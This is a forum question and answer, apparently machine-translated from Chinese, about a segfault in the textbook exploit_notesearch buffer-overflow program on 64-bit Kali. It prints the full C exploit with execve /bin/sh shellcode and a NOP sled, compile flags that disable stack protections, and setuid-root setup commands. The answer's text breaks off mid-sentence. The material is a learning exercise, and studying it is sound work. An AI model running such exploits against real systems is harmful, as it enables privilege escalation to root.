Why do I get a segmentation fault in the exploit_notesearch program from “Hacking: The Art of Exploitation”?
因此,首先,我使用的是Kali 2020.1,已全面更新。 64位。
源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include"hacking.h" #include <unistd.h> #include <stdlib.h> char shellcode[]= "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x99\\xb0\\xa4\\xcd\\x80\\x6a\\x0b\\x58\\x51\\x68" "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x51\\x89\\xe2\\x53\\x89" "\\xe1\\xcd\\x80"; int main(int argc, char *argv[]) { long int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // Zero out the new memory. strcpy(command,"./notesearch \'"); // Start command buffer. buffer = command + strlen(command); // Set buffer at the end. if(argc > 1) // Set offset. offset = atoi(argv[1]); ret = (long int) &i - offset; // Set return address. for(i=0; i < 160; i+=4) // Fill buffer with return address. *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // Build NOP sled. memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command,"\'"); system(command); // Run exploit. free(command); } |
现在,有一些重要的说明。我包括了所有这些库,因为如果没有它们,编译会发出警告。
前面的notetaker和notesearch程序以及exploit_notesearch程序在终端中的编译如下:
1 | gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c |
我不再记得说我必须以这种方式进行编译的源代码(它们的首选堆栈边界是2,但是我的机器要求它在4到12之间)。而且,您可以看到,该堆栈现在是可执行的。
所有3个程序(记事本,notesearch和exploit_notesearch)的权限均如书中所述:
1 2 | sudo chown root:root ./program_name sudo chmod u+s ./program_name |
我尝试了以下链接提供的解决方案:调试缓冲区溢出示例,但无济于事。此链接也一样:ShellCode Exploit
不够快
在使用for循环的终端中通过使用1、10、20和30的增量将偏移量从0逐渐更改为330,也不能解决我的问题。无论我做什么,我都会遇到细分错误。
在我的情况下可能是什么问题,什么是克服上述问题的最佳方法?谢谢。
P.S我记得读过我应该使用64位shellcode而不是提供的代码。
进行段故障诊断时,现在是在像GDB这样的调试器中运行它的好时机。它应该告诉您崩溃的正确位置,并且可以逐步执行并验证您所做的假设。最常见的段错误往往是无效的内存权限(例如尝试执行不可执行的页面)或无效的指令(例如,如果您位于shellcode的中间,而不是NOP底座)。
您在尝试将漏洞转换为32位工作时遇到了两个问题。当用返回地址填充缓冲区时,当64位指针实际上是
1 2 | for(i=0; i < 160; i+=4) // Fill buffer with return address. *((unsigned int *)(buffer+i)) = ret; |
在尝试利用